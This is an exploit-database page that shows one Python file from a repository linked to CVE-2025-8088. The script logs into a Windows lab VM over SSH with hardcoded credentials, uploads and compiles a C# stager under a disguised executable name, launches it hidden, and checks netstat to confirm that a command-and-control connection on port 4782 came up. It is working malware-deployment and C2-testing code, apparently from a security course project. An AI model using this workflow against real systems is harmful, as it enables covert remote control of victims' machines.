Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files46
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage07/test_sta_entry.py

Python · 2,388 bytes
import paramiko, time, os, sys, io

sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding='utf-8', errors='replace')
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')

HOST = '192.168.30.136'
USER = 'lewis'
PASS = 'lewis123'

def ssh(cmd):
    try:
        c = paramiko.SSHClient()
        c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        c.connect(HOST, 22, USER, PASS, timeout=10)
        _, stdout, stderr = c.exec_command(cmd)
        out = stdout.read().decode('utf-8', errors='replace')
        err = stderr.read().decode('utf-8', errors='replace')
        c.close()
        return out, err
    except Exception as ex:
        return None, str(ex)

def sftp_put(local, remote):
    t = paramiko.Transport((HOST, 22))
    t.connect(username=USER, password=PASS)
    sftp = paramiko.SFTPClient.from_transport(t)
    sftp.put(local, remote)
    sftp.close()
    t.close()

# === Phase 1: Clean VM ===
print("=== Cleaning VM ===")
ssh('taskkill /f /im srvinit_phantom.exe 2>nul')
ssh('taskkill /f /im client_clean.exe 2>nul')
ssh('del /f /q C:\\Windows\\Temp\\srvinit_phantom.exe 2>nul')
ssh('del /f /q C:\\Windows\\Temp\\stager_phantom.cs 2>nul')
ssh('del /f /q C:\\Windows\\Temp\\phantom_debug.txt 2>nul')

# === Phase 2: Upload + Compile ===
src = r'D:\Desktop\网安程设\Amaranth_Project\Stage07\stager_phantom.cs'
print("=== Uploading stager source ===")
sftp_put(src, r'C:\Windows\Temp\stager_phantom.cs')

print("=== Compiling ===")
out, err = ssh(r'C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc /t:winexe /r:System.dll /r:System.Core.dll /r:System.Management.dll /out:C:\Windows\Temp\srvinit_phantom.exe C:\Windows\Temp\stager_phantom.cs')
print(out or err)

# === Phase 3: Run Stager ===
print("=== Running stager ===")
ssh(r'start /b C:\Windows\Temp\srvinit_phantom.exe')
print("Stager started, waiting 15s for Phase A...")
time.sleep(15)

# === Phase 4: Check Debug Log ===
print("=== Debug Log ===")
out, _ = ssh(r'type C:\Windows\Temp\phantom_debug.txt')
for line in (out or '').split('\n'):
    print(f"  {line.strip()}")

# === Phase 5: Wait for C2 ===
print("=== Waiting 45s for C2 ===")
time.sleep(45)

print("=== Netstat (4782) ===")
out, _ = ssh(r'netstat -an | findstr 4782')
print(out or "(no connections)")

c2_ok = 'ESTABLISHED' in (out or '')
print(f"\n=== RESULT: C2 {'OK' if c2_ok else 'FAIL'} ===")